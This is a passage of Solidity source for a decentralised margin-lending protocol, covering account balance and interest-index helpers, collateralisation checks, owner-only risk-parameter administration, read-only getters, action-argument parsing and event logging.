Storage.State storage state,
Account.Info memory account,
uint256 marketId
)
internal
view
returns (Types.Wei memory)
{
Types.Par memory par = state.getPar(account, marketId);
if (par.isZero()) {
return Types.zeroWei();
}
Interest.Index memory index = state.getIndex(marketId);
return Interest.parToWei(par, index);
}
function getLiquidationSpreadForPair(
Storage.State storage state,
uint256 heldMarketId,
uint256 owedMarketId
)
internal
view
returns (Decimal.D256 memory)
{
uint256 result = state.riskParams.liquidationSpread.value;
result = Decimal.mul(result, Decimal.onePlus(state.markets[heldMarketId].spreadPremium));
result = Decimal.mul(result, Decimal.onePlus(state.markets[owedMarketId].spreadPremium));
return Decimal.D256({
value: result
});
}
function fetchNewIndex(
Storage.State storage state,
uint256 marketId,
Interest.Index memory index
)
internal
view
returns (Interest.Index memory)
{
Interest.Rate memory rate = state.fetchInterestRate(marketId, index);
return Interest.calculateNewIndex(
index,
rate,
state.getTotalPar(marketId),
state.riskParams.earningsRate
);
}
function fetchInterestRate(
Storage.State storage state,
uint256 marketId,
Interest.Index memory index
)
internal
view
returns (Interest.Rate memory)
{
Types.TotalPar memory totalPar = state.getTotalPar(marketId);
(
Types.Wei memory supplyWei,
Types.Wei memory borrowWei
) = Interest.totalParToWei(totalPar, index);
Interest.Rate memory rate = state.markets[marketId].interestSetter.getInterestRate(
state.getToken(marketId),
borrowWei.value,
supplyWei.value
);
return rate;
}
function fetchPrice(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (Monetary.Price memory)
{
IPriceOracle oracle = IPriceOracle(state.markets[marketId].priceOracle);
Monetary.Price memory price = oracle.getPrice(state.getToken(marketId));
Require.that(
price.value != 0,
FILE,
"Price cannot be zero",
marketId
);
return price;
}
function getAccountValues(
Storage.State storage state,
Account.Info memory account,
Cache.MarketCache memory cache,
bool adjustForLiquidity
)
internal
view
returns (Monetary.Value memory, Monetary.Value memory)
{
Monetary.Value memory supplyValue;
Monetary.Value memory borrowValue;
uint256 numMarkets = cache.getNumMarkets();
for (uint256 m = 0; m < numMarkets; m++) {
if (!cache.hasMarket(m)) {
continue;
}
Types.Wei memory userWei = state.getWei(account, m);
if (userWei.isZero()) {
continue;
}
uint256 assetValue = userWei.value.mul(cache.getPrice(m).value);
Decimal.D256 memory adjust = Decimal.one();
if (adjustForLiquidity) {
adjust = Decimal.onePlus(state.markets[m].marginPremium);
}
if (userWei.sign) {
supplyValue.value = supplyValue.value.add(Decimal.div(assetValue, adjust));
} else {
borrowValue.value = borrowValue.value.add(Decimal.mul(assetValue, adjust));
}
}
return (supplyValue, borrowValue);
}
function isCollateralized(
Storage.State storage state,
Account.Info memory account,
Cache.MarketCache memory cache,
bool requireMinBorrow
)
internal
view
returns (bool)
{
(
Monetary.Value memory supplyValue,
Monetary.Value memory borrowValue
) = state.getAccountValues(account, cache, true);
if (borrowValue.value == 0) {
return true;
}
if (requireMinBorrow) {
Require.that(
borrowValue.value >= state.riskParams.minBorrowedValue.value,
FILE,
"Borrow value too low",
account.owner,
account.number,
borrowValue.value
);
}
uint256 requiredMargin = Decimal.mul(borrowValue.value, state.riskParams.marginRatio);
return supplyValue.value >= borrowValue.value.add(requiredMargin);
}
function isGlobalOperator(
Storage.State storage state,
address operator
)
internal
view
returns (bool)
{
return state.globalOperators[operator];
}
function isLocalOperator(
Storage.State storage state,
address owner,
address operator
)
internal
view
returns (bool)
{
return state.operators[owner][operator];
}
function requireIsOperator(
Storage.State storage state,
Account.Info memory account,
address operator
)
internal
view
{
bool isValidOperator =
operator == account.owner
|| state.isGlobalOperator(operator)
|| state.isLocalOperator(account.owner, operator);
Require.that(
isValidOperator,
FILE,
"Unpermissioned operator",
operator
);
}
function getNewParAndDeltaWei(
Storage.State storage state,
Account.Info memory account,
uint256 marketId,
Types.AssetAmount memory amount
)
internal
view
returns (Types.Par memory, Types.Wei memory)
{
Types.Par memory oldPar = state.getPar(account, marketId);
if (amount.value == 0 && amount.ref == Types.AssetReference.Delta) {
return (oldPar, Types.zeroWei());
}
Interest.Index memory index = state.getIndex(marketId);
Types.Wei memory oldWei = Interest.parToWei(oldPar, index);
Types.Par memory newPar;
Types.Wei memory deltaWei;
if (amount.denomination == Types.AssetDenomination.Wei) {
deltaWei = Types.Wei({
sign: amount.sign,
value: amount.value
});
if (amount.ref == Types.AssetReference.Target) {
deltaWei = deltaWei.sub(oldWei);
}
newPar = Interest.weiToPar(oldWei.add(deltaWei), index);
} else {
newPar = Types.Par({
sign: amount.sign,
value: amount.value.to128()
});
if (amount.ref == Types.AssetReference.Delta) {
newPar = oldPar.add(newPar);
}
deltaWei = Interest.parToWei(newPar, index).sub(oldWei);
}
return (newPar, deltaWei);
}
function getNewParAndDeltaWeiForLiquidation(
Storage.State storage state,
Account.Info memory account,
uint256 marketId,
Types.AssetAmount memory amount
)
internal
view
returns (Types.Par memory, Types.Wei memory)
{
Types.Par memory oldPar = state.getPar(account, marketId);
Require.that(
!oldPar.isPositive(),
FILE,
"Owed balance cannot be positive",
account.owner,
account.number,
marketId
);
(
Types.Par memory newPar,
Types.Wei memory deltaWei
) = state.getNewParAndDeltaWei(
account,
marketId,
amount
);
if (newPar.isPositive()) {
newPar = Types.zeroPar();
deltaWei = state.getWei(account, marketId).negative();
}
Require.that(
!deltaWei.isNegative() && oldPar.value >= newPar.value,
FILE,
"Owed balance cannot increase",
account.owner,
account.number,
marketId
);
if (oldPar.equals(newPar)) {
deltaWei = Types.zeroWei();
}
return (newPar, deltaWei);
}
function isVaporizable(
Storage.State storage state,
Account.Info memory account,
Cache.MarketCache memory cache
)
internal
view
returns (bool)
{
bool hasNegative = false;
uint256 numMarkets = cache.getNumMarkets();
for (uint256 m = 0; m < numMarkets; m++) {
if (!cache.hasMarket(m)) {
continue;
}
Types.Par memory par = state.getPar(account, m);
if (par.isZero()) {
continue;
} else if (par.sign) {
return false;
} else {
hasNegative = true;
}
}
return hasNegative;
}
function updateIndex(
Storage.State storage state,
uint256 marketId
)
internal
returns (Interest.Index memory)
{
Interest.Index memory index = state.getIndex(marketId);
if (index.lastUpdate == Time.currentTime()) {
return index;
}
return state.markets[marketId].index = state.fetchNewIndex(marketId, index);
}
function setStatus(
Storage.State storage state,
Account.Info memory account,
Account.Status status
)
internal
{
state.accounts[account.owner][account.number].status = status;
}
function setPar(
Storage.State storage state,
Account.Info memory account,
uint256 marketId,
Types.Par memory newPar
)
internal
{
Types.Par memory oldPar = state.getPar(account, marketId);
if (Types.equals(oldPar, newPar)) {
return;
}
Types.TotalPar memory totalPar = state.getTotalPar(marketId);
if (oldPar.sign) {
totalPar.supply = uint256(totalPar.supply).sub(oldPar.value).to128();
} else {
totalPar.borrow = uint256(totalPar.borrow).sub(oldPar.value).to128();
}
if (newPar.sign) {
totalPar.supply = uint256(totalPar.supply).add(newPar.value).to128();
} else {
totalPar.borrow = uint256(totalPar.borrow).add(newPar.value).to128();
}
state.markets[marketId].totalPar = totalPar;
state.accounts[account.owner][account.number].balances[marketId] = newPar;
}
function setParFromDeltaWei(
Storage.State storage state,
Account.Info memory account,
uint256 marketId,
Types.Wei memory deltaWei
)
internal
{
if (deltaWei.isZero()) {
return;
}
Interest.Index memory index = state.getIndex(marketId);
Types.Wei memory oldWei = state.getWei(account, marketId);
Types.Wei memory newWei = oldWei.add(deltaWei);
Types.Par memory newPar = Interest.weiToPar(newWei, index);
state.setPar(
account,
marketId,
newPar
);
}
}
contract State
{
Storage.State g_state;
}
library AdminImpl {
using Storage for Storage.State;
using Token for address;
using Types for Types.Wei;
bytes32 constant FILE = "AdminImpl";
event LogWithdrawExcessTokens(
address token,
uint256 amount
);
event LogAddMarket(
uint256 marketId,
address token
);
event LogSetIsClosing(
uint256 marketId,
bool isClosing
);
event LogSetPriceOracle(
uint256 marketId,
address priceOracle
);
event LogSetInterestSetter(
uint256 marketId,
address interestSetter
);
event LogSetMarginPremium(
uint256 marketId,
Decimal.D256 marginPremium
);
event LogSetSpreadPremium(
uint256 marketId,
Decimal.D256 spreadPremium
);
event LogSetMarginRatio(
Decimal.D256 marginRatio
);
event LogSetLiquidationSpread(
Decimal.D256 liquidationSpread
);
event LogSetEarningsRate(
Decimal.D256 earningsRate
);
event LogSetMinBorrowedValue(
Monetary.Value minBorrowedValue
);
event LogSetGlobalOperator(
address operator,
bool approved
);
function ownerWithdrawExcessTokens(
Storage.State storage state,
uint256 marketId,
address recipient
)
public
returns (uint256)
{
_validateMarketId(state, marketId);
Types.Wei memory excessWei = state.getNumExcessTokens(marketId);
Require.that(
!excessWei.isNegative(),
FILE,
"Negative excess"
);
address token = state.getToken(marketId);
uint256 actualBalance = token.balanceOf(address(this));
if (excessWei.value > actualBalance) {
excessWei.value = actualBalance;
}
token.transfer(recipient, excessWei.value);
emit LogWithdrawExcessTokens(token, excessWei.value);
return excessWei.value;
}
function ownerWithdrawUnsupportedTokens(
Storage.State storage state,
address token,
address recipient
)
public
returns (uint256)
{
_requireNoMarket(state, token);
uint256 balance = token.balanceOf(address(this));
token.transfer(recipient, balance);
emit LogWithdrawExcessTokens(token, balance);
return balance;
}
function ownerAddMarket(
Storage.State storage state,
address token,
IPriceOracle priceOracle,
IInterestSetter interestSetter,
Decimal.D256 memory marginPremium,
Decimal.D256 memory spreadPremium
)
public
{
_requireNoMarket(state, token);
uint256 marketId = state.numMarkets;
state.numMarkets++;
state.markets[marketId].token = token;
state.markets[marketId].index = Interest.newIndex();
emit LogAddMarket(marketId, token);
_setPriceOracle(state, marketId, priceOracle);
_setInterestSetter(state, marketId, interestSetter);
_setMarginPremium(state, marketId, marginPremium);
_setSpreadPremium(state, marketId, spreadPremium);
}
function ownerSetIsClosing(
Storage.State storage state,
uint256 marketId,
bool isClosing
)
public
{
_validateMarketId(state, marketId);
state.markets[marketId].isClosing = isClosing;
emit LogSetIsClosing(marketId, isClosing);
}
function ownerSetPriceOracle(
Storage.State storage state,
uint256 marketId,
IPriceOracle priceOracle
)
public
{
_validateMarketId(state, marketId);
_setPriceOracle(state, marketId, priceOracle);
}
function ownerSetInterestSetter(
Storage.State storage state,
uint256 marketId,
IInterestSetter interestSetter
)
public
{
_validateMarketId(state, marketId);
_setInterestSetter(state, marketId, interestSetter);
}
function ownerSetMarginPremium(
Storage.State storage state,
uint256 marketId,
Decimal.D256 memory marginPremium
)
public
{
_validateMarketId(state, marketId);
_setMarginPremium(state, marketId, marginPremium);
}
function ownerSetSpreadPremium(
Storage.State storage state,
uint256 marketId,
Decimal.D256 memory spreadPremium
)
public
{
_validateMarketId(state, marketId);
_setSpreadPremium(state, marketId, spreadPremium);
}
function ownerSetMarginRatio(
Storage.State storage state,
Decimal.D256 memory ratio
)
public
{
Require.that(
ratio.value <= state.riskLimits.marginRatioMax,
FILE,
"Ratio too high"
);
Require.that(
ratio.value > state.riskParams.liquidationSpread.value,
FILE,
"Ratio cannot be <= spread"
);
state.riskParams.marginRatio = ratio;
emit LogSetMarginRatio(ratio);
}
function ownerSetLiquidationSpread(
Storage.State storage state,
Decimal.D256 memory spread
)
public
{
Require.that(
spread.value <= state.riskLimits.liquidationSpreadMax,
FILE,
"Spread too high"
);
Require.that(
spread.value < state.riskParams.marginRatio.value,
FILE,
"Spread cannot be >= ratio"
);
state.riskParams.liquidationSpread = spread;
emit LogSetLiquidationSpread(spread);
}
function ownerSetEarningsRate(
Storage.State storage state,
Decimal.D256 memory earningsRate
)
public
{
Require.that(
earningsRate.value <= state.riskLimits.earningsRateMax,
FILE,
"Rate too high"
);
state.riskParams.earningsRate = earningsRate;
emit LogSetEarningsRate(earningsRate);
}
function ownerSetMinBorrowedValue(
Storage.State storage state,
Monetary.Value memory minBorrowedValue
)
public
{
Require.that(
minBorrowedValue.value <= state.riskLimits.minBorrowedValueMax,
FILE,
"Value too high"
);
state.riskParams.minBorrowedValue = minBorrowedValue;
emit LogSetMinBorrowedValue(minBorrowedValue);
}
function ownerSetGlobalOperator(
Storage.State storage state,
address operator,
bool approved
)
public
{
state.globalOperators[operator] = approved;
emit LogSetGlobalOperator(operator, approved);
}
function _setPriceOracle(
Storage.State storage state,
uint256 marketId,
IPriceOracle priceOracle
)
private
{
address token = state.markets[marketId].token;
Require.that(
priceOracle.getPrice(token).value != 0,
FILE,
"Invalid oracle price"
);
state.markets[marketId].priceOracle = priceOracle;
emit LogSetPriceOracle(marketId, address(priceOracle));
}
function _setInterestSetter(
Storage.State storage state,
uint256 marketId,
IInterestSetter interestSetter
)
private
{
address token = state.markets[marketId].token;
interestSetter.getInterestRate(token, 0, 0);
state.markets[marketId].interestSetter = interestSetter;
emit LogSetInterestSetter(marketId, address(interestSetter));
}
function _setMarginPremium(
Storage.State storage state,
uint256 marketId,
Decimal.D256 memory marginPremium
)
private
{
Require.that(
marginPremium.value <= state.riskLimits.marginPremiumMax,
FILE,
"Margin premium too high"
);
state.markets[marketId].marginPremium = marginPremium;
emit LogSetMarginPremium(marketId, marginPremium);
}
function _setSpreadPremium(
Storage.State storage state,
uint256 marketId,
Decimal.D256 memory spreadPremium
)
private
{
Require.that(
spreadPremium.value <= state.riskLimits.spreadPremiumMax,
FILE,
"Spread premium too high"
);
state.markets[marketId].spreadPremium = spreadPremium;
emit LogSetSpreadPremium(marketId, spreadPremium);
}
function _requireNoMarket(
Storage.State storage state,
address token
)
private
view
{
uint256 numMarkets = state.numMarkets;
bool marketExists = false;
for (uint256 m = 0; m < numMarkets; m++) {
if (state.markets[m].token == token) {
marketExists = true;
break;
}
}
Require.that(
!marketExists,
FILE,
"Market exists"
);
}
function _validateMarketId(
Storage.State storage state,
uint256 marketId
)
private
view
{
Require.that(
marketId < state.numMarkets,
FILE,
"Market OOB",
marketId
);
}
}
contract Admin is
State,
Ownable,
ReentrancyGuard
{
function ownerWithdrawExcessTokens(
uint256 marketId,
address recipient
)
public
onlyOwner
nonReentrant
returns (uint256)
{
return AdminImpl.ownerWithdrawExcessTokens(
g_state,
marketId,
recipient
);
}
function ownerWithdrawUnsupportedTokens(
address token,
address recipient
)
public
onlyOwner
nonReentrant
returns (uint256)
{
return AdminImpl.ownerWithdrawUnsupportedTokens(
g_state,
token,
recipient
);
}
function ownerAddMarket(
address token,
IPriceOracle priceOracle,
IInterestSetter interestSetter,
Decimal.D256 memory marginPremium,
Decimal.D256 memory spreadPremium
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerAddMarket(
g_state,
token,
priceOracle,
interestSetter,
marginPremium,
spreadPremium
);
}
function ownerSetIsClosing(
uint256 marketId,
bool isClosing
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetIsClosing(
g_state,
marketId,
isClosing
);
}
function ownerSetPriceOracle(
uint256 marketId,
IPriceOracle priceOracle
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetPriceOracle(
g_state,
marketId,
priceOracle
);
}
function ownerSetInterestSetter(
uint256 marketId,
IInterestSetter interestSetter
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetInterestSetter(
g_state,
marketId,
interestSetter
);
}
function ownerSetMarginPremium(
uint256 marketId,
Decimal.D256 memory marginPremium
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetMarginPremium(
g_state,
marketId,
marginPremium
);
}
function ownerSetSpreadPremium(
uint256 marketId,
Decimal.D256 memory spreadPremium
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetSpreadPremium(
g_state,
marketId,
spreadPremium
);
}
function ownerSetMarginRatio(
Decimal.D256 memory ratio
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetMarginRatio(
g_state,
ratio
);
}
function ownerSetLiquidationSpread(
Decimal.D256 memory spread
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetLiquidationSpread(
g_state,
spread
);
}
function ownerSetEarningsRate(
Decimal.D256 memory earningsRate
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetEarningsRate(
g_state,
earningsRate
);
}
function ownerSetMinBorrowedValue(
Monetary.Value memory minBorrowedValue
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetMinBorrowedValue(
g_state,
minBorrowedValue
);
}
function ownerSetGlobalOperator(
address operator,
bool approved
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetGlobalOperator(
g_state,
operator,
approved
);
}
}
contract Getters is
State
{
using Cache for Cache.MarketCache;
using Storage for Storage.State;
using Types for Types.Par;
bytes32 FILE = "Getters";
function getMarginRatio()
public
view
returns (Decimal.D256 memory)
{
return g_state.riskParams.marginRatio;
}
function getLiquidationSpread()
public
view
returns (Decimal.D256 memory)
{
return g_state.riskParams.liquidationSpread;
}
function getEarningsRate()
public
view
returns (Decimal.D256 memory)
{
return g_state.riskParams.earningsRate;
}
function getMinBorrowedValue()
public
view
returns (Monetary.Value memory)
{
return g_state.riskParams.minBorrowedValue;
}
function getRiskParams()
public
view
returns (Storage.RiskParams memory)
{
return g_state.riskParams;
}
function getRiskLimits()
public
view
returns (Storage.RiskLimits memory)
{
return g_state.riskLimits;
}
function getNumMarkets()
public
view
returns (uint256)
{
return g_state.numMarkets;
}
function getMarketTokenAddress(
uint256 marketId
)
public
view
returns (address)
{
_requireValidMarket(marketId);
return g_state.getToken(marketId);
}
function getMarketTotalPar(
uint256 marketId
)
public
view
returns (Types.TotalPar memory)
{
_requireValidMarket(marketId);
return g_state.getTotalPar(marketId);
}
function getMarketCachedIndex(
uint256 marketId
)
public
view
returns (Interest.Index memory)
{
_requireValidMarket(marketId);
return g_state.getIndex(marketId);
}
function getMarketCurrentIndex(
uint256 marketId
)
public
view
returns (Interest.Index memory)
{
_requireValidMarket(marketId);
return g_state.fetchNewIndex(marketId, g_state.getIndex(marketId));
}
function getMarketPriceOracle(
uint256 marketId
)
public
view
returns (IPriceOracle)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].priceOracle;
}
function getMarketInterestSetter(
uint256 marketId
)
public
view
returns (IInterestSetter)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].interestSetter;
}
function getMarketMarginPremium(
uint256 marketId
)
public
view
returns (Decimal.D256 memory)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].marginPremium;
}
function getMarketSpreadPremium(
uint256 marketId
)
public
view
returns (Decimal.D256 memory)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].spreadPremium;
}
function getMarketIsClosing(
uint256 marketId
)
public
view
returns (bool)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].isClosing;
}
function getMarketPrice(
uint256 marketId
)
public
view
returns (Monetary.Price memory)
{
_requireValidMarket(marketId);
return g_state.fetchPrice(marketId);
}
function getMarketInterestRate(
uint256 marketId
)
public
view
returns (Interest.Rate memory)
{
_requireValidMarket(marketId);
return g_state.fetchInterestRate(
marketId,
g_state.getIndex(marketId)
);
}
function getLiquidationSpreadForPair(
uint256 heldMarketId,
uint256 owedMarketId
)
public
view
returns (Decimal.D256 memory)
{
_requireValidMarket(heldMarketId);
_requireValidMarket(owedMarketId);
return g_state.getLiquidationSpreadForPair(heldMarketId, owedMarketId);
}
function getMarket(
uint256 marketId
)
public
view
returns (Storage.Market memory)
{
_requireValidMarket(marketId);
return g_state.markets[marketId];
}
function getMarketWithInfo(
uint256 marketId
)
public
view
returns (
Storage.Market memory,
Interest.Index memory,
Monetary.Price memory,
Interest.Rate memory
)
{
_requireValidMarket(marketId);
return (
getMarket(marketId),
getMarketCurrentIndex(marketId),
getMarketPrice(marketId),
getMarketInterestRate(marketId)
);
}
function getNumExcessTokens(
uint256 marketId
)
public
view
returns (Types.Wei memory)
{
_requireValidMarket(marketId);
return g_state.getNumExcessTokens(marketId);
}
function getAccountPar(
Account.Info memory account,
uint256 marketId
)
public
view
returns (Types.Par memory)
{
_requireValidMarket(marketId);
return g_state.getPar(account, marketId);
}
function getAccountWei(
Account.Info memory account,
uint256 marketId
)
public
view
returns (Types.Wei memory)
{
_requireValidMarket(marketId);
return Interest.parToWei(
g_state.getPar(account, marketId),
g_state.fetchNewIndex(marketId, g_state.getIndex(marketId))
);
}
function getAccountStatus(
Account.Info memory account
)
public
view
returns (Account.Status)
{
return g_state.getStatus(account);
}
function getAccountValues(
Account.Info memory account
)
public
view
returns (Monetary.Value memory, Monetary.Value memory)
{
return getAccountValuesInternal(account, false);
}
function getAdjustedAccountValues(
Account.Info memory account
)
public
view
returns (Monetary.Value memory, Monetary.Value memory)
{
return getAccountValuesInternal(account, true);
}
function getAccountBalances(
Account.Info memory account
)
public
view
returns (
address[] memory,
Types.Par[] memory,
Types.Wei[] memory
)
{
uint256 numMarkets = g_state.numMarkets;
address[] memory tokens = new address[](numMarkets);
Types.Par[] memory pars = new Types.Par[](numMarkets);
Types.Wei[] memory weis = new Types.Wei[](numMarkets);
for (uint256 m = 0; m < numMarkets; m++) {
tokens[m] = getMarketTokenAddress(m);
pars[m] = getAccountPar(account, m);
weis[m] = getAccountWei(account, m);
}
return (
tokens,
pars,
weis
);
}
function getIsLocalOperator(
address owner,
address operator
)
public
view
returns (bool)
{
return g_state.isLocalOperator(owner, operator);
}
function getIsGlobalOperator(
address operator
)
public
view
returns (bool)
{
return g_state.isGlobalOperator(operator);
}
function _requireValidMarket(
uint256 marketId
)
private
view
{
Require.that(
marketId < g_state.numMarkets,
FILE,
"Market OOB"
);
}
function getAccountValuesInternal(
Account.Info memory account,
bool adjustForLiquidity
)
private
view
returns (Monetary.Value memory, Monetary.Value memory)
{
uint256 numMarkets = g_state.numMarkets;
Cache.MarketCache memory cache = Cache.create(numMarkets);
for (uint256 m = 0; m < numMarkets; m++) {
if (!g_state.getPar(account, m).isZero()) {
cache.addMarket(g_state, m);
}
}
return g_state.getAccountValues(account, cache, adjustForLiquidity);
}
}
library Actions {
bytes32 constant FILE = "Actions";
enum ActionType {
Deposit,
Withdraw,
Transfer,
Buy,
Sell,
Trade,
Liquidate,
Vaporize,
Call
}
enum AccountLayout {
OnePrimary,
TwoPrimary,
PrimaryAndSecondary
}
enum MarketLayout {
ZeroMarkets,
OneMarket,
TwoMarkets
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct DepositArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address from;
}
struct WithdrawArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address to;
}
struct TransferArgs {
Types.AssetAmount amount;
Account.Info accountOne;
Account.Info accountTwo;
uint256 market;
}
struct BuyArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 makerMarket;
uint256 takerMarket;
address exchangeWrapper;
bytes orderData;
}
struct SellArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 takerMarket;
uint256 makerMarket;
address exchangeWrapper;
bytes orderData;
}
struct TradeArgs {
Types.AssetAmount amount;
Account.Info takerAccount;
Account.Info makerAccount;
uint256 inputMarket;
uint256 outputMarket;
address autoTrader;
bytes tradeData;
}
struct LiquidateArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info liquidAccount;
uint256 owedMarket;
uint256 heldMarket;
}
struct VaporizeArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info vaporAccount;
uint256 owedMarket;
uint256 heldMarket;
}
struct CallArgs {
Account.Info account;
address callee;
bytes data;
}
function getMarketLayout(
ActionType actionType
)
internal
pure
returns (MarketLayout)
{
if (
actionType == Actions.ActionType.Deposit
|| actionType == Actions.ActionType.Withdraw
|| actionType == Actions.ActionType.Transfer
) {
return MarketLayout.OneMarket;
}
else if (actionType == Actions.ActionType.Call) {
return MarketLayout.ZeroMarkets;
}
return MarketLayout.TwoMarkets;
}
function getAccountLayout(
ActionType actionType
)
internal
pure
returns (AccountLayout)
{
if (
actionType == Actions.ActionType.Transfer
|| actionType == Actions.ActionType.Trade
) {
return AccountLayout.TwoPrimary;
} else if (
actionType == Actions.ActionType.Liquidate
|| actionType == Actions.ActionType.Vaporize
) {
return AccountLayout.PrimaryAndSecondary;
}
return AccountLayout.OnePrimary;
}
function parseDepositArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (DepositArgs memory)
{
assert(args.actionType == ActionType.Deposit);
return DepositArgs({
amount: args.amount,
account: accounts[args.accountId],
market: args.primaryMarketId,
from: args.otherAddress
});
}
function parseWithdrawArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (WithdrawArgs memory)
{
assert(args.actionType == ActionType.Withdraw);
return WithdrawArgs({
amount: args.amount,
account: accounts[args.accountId],
market: args.primaryMarketId,
to: args.otherAddress
});
}
function parseTransferArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (TransferArgs memory)
{
assert(args.actionType == ActionType.Transfer);
return TransferArgs({
amount: args.amount,
accountOne: accounts[args.accountId],
accountTwo: accounts[args.otherAccountId],
market: args.primaryMarketId
});
}
function parseBuyArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (BuyArgs memory)
{
assert(args.actionType == ActionType.Buy);
return BuyArgs({
amount: args.amount,
account: accounts[args.accountId],
makerMarket: args.primaryMarketId,
takerMarket: args.secondaryMarketId,
exchangeWrapper: args.otherAddress,
orderData: args.data
});
}
function parseSellArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (SellArgs memory)
{
assert(args.actionType == ActionType.Sell);
return SellArgs({
amount: args.amount,
account: accounts[args.accountId],
takerMarket: args.primaryMarketId,
makerMarket: args.secondaryMarketId,
exchangeWrapper: args.otherAddress,
orderData: args.data
});
}
function parseTradeArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (TradeArgs memory)
{
assert(args.actionType == ActionType.Trade);
return TradeArgs({
amount: args.amount,
takerAccount: accounts[args.accountId],
makerAccount: accounts[args.otherAccountId],
inputMarket: args.primaryMarketId,
outputMarket: args.secondaryMarketId,
autoTrader: args.otherAddress,
tradeData: args.data
});
}
function parseLiquidateArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (LiquidateArgs memory)
{
assert(args.actionType == ActionType.Liquidate);
return LiquidateArgs({
amount: args.amount,
solidAccount: accounts[args.accountId],
liquidAccount: accounts[args.otherAccountId],
owedMarket: args.primaryMarketId,
heldMarket: args.secondaryMarketId
});
}
function parseVaporizeArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (VaporizeArgs memory)
{
assert(args.actionType == ActionType.Vaporize);
return VaporizeArgs({
amount: args.amount,
solidAccount: accounts[args.accountId],
vaporAccount: accounts[args.otherAccountId],
owedMarket: args.primaryMarketId,
heldMarket: args.secondaryMarketId
});
}
function parseCallArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (CallArgs memory)
{
assert(args.actionType == ActionType.Call);
return CallArgs({
account: accounts[args.accountId],
callee: args.otherAddress,
data: args.data
});
}
}
library Events {
using Types for Types.Wei;
using Storage for Storage.State;
event LogIndexUpdate(
uint256 indexed market,
Interest.Index index
);
event LogOperation(
address sender
);
event LogDeposit(
address indexed accountOwner,
uint256 accountNumber,
uint256 market,
BalanceUpdate update,
address from
);
event LogWithdraw(
address indexed accountOwner,
uint256 accountNumber,
uint256 market,
BalanceUpdate update,
address to
);
event LogTransfer(
address indexed accountOneOwner,
uint256 accountOneNumber,
address indexed accountTwoOwner,
uint256 accountTwoNumber,
uint256 market,
BalanceUpdate updateOne,
BalanceUpdate updateTwo
);
event LogBuy(
address indexed accountOwner,
uint256 accountNumber,
uint256 takerMarket,
uint256 makerMarket,
BalanceUpdate takerUpdate,
BalanceUpdate makerUpdate,
address exchangeWrapper
);
event LogSell(
address indexed accountOwner,
uint256 accountNumber,
uint256 takerMarket,
uint256 makerMarket,
BalanceUpdate takerUpdate,
BalanceUpdate makerUpdate,
address exchangeWrapper
);
event LogTrade(
address indexed takerAccountOwner,
uint256 takerAccountNumber,
address indexed makerAccountOwner,
uint256 makerAccountNumber,
uint256 inputMarket,
uint256 outputMarket,
BalanceUpdate takerInputUpdate,
BalanceUpdate takerOutputUpdate,
BalanceUpdate makerInputUpdate,
BalanceUpdate makerOutputUpdate,
address autoTrader
);
event LogCall(
address indexed accountOwner,
uint256 accountNumber,
address callee
);
event LogLiquidate(
address indexed solidAccountOwner,
uint256 solidAccountNumber,
address indexed liquidAccountOwner,
uint256 liquidAccountNumber,
uint256 heldMarket,
uint256 owedMarket,
BalanceUpdate solidHeldUpdate,
BalanceUpdate solidOwedUpdate,
BalanceUpdate liquidHeldUpdate,
BalanceUpdate liquidOwedUpdate
);
event LogVaporize(
address indexed solidAccountOwner,
uint256 solidAccountNumber,
address indexed vaporAccountOwner,
uint256 vaporAccountNumber,
uint256 heldMarket,
uint256 owedMarket,
BalanceUpdate solidHeldUpdate,
BalanceUpdate solidOwedUpdate,
BalanceUpdate vaporOwedUpdate
);
struct BalanceUpdate {
Types.Wei deltaWei;
Types.Par newPar;
}
function logIndexUpdate(
uint256 marketId,
Interest.Index memory index
)
internal
{
emit LogIndexUpdate(
marketId,
index
);
}
function logOperation()
internal
{
emit LogOperation(msg.sender);
}
function logDeposit(
Storage.State storage state,
Actions.DepositArgs memory args,
Types.Wei memory deltaWei
)
internal
{
emit LogDeposit(
args.account.owner,
args.account.number,
args.market,
getBalanceUpdate(
state,
args.account,
args.market,
deltaWei
),
args.from
);
}
function logWithdraw(
Storage.State storage state,
Actions.WithdrawArgs memory args,
Types.Wei memory deltaWei
)
internal
{
emit LogWithdraw(
args.account.owner,
args.account.number,
args.market,
getBalanceUpdate(
state,
args.account,
args.market,
deltaWei
),
args.to
);
}
function logTransfer(
Storage.State storage state,
Actions.TransferArgs memory args,
Types.Wei memory deltaWei
)
internal
{
emit LogTransfer(
args.accountOne.owner,
args.accountOne.number,
args.accountTwo.owner,
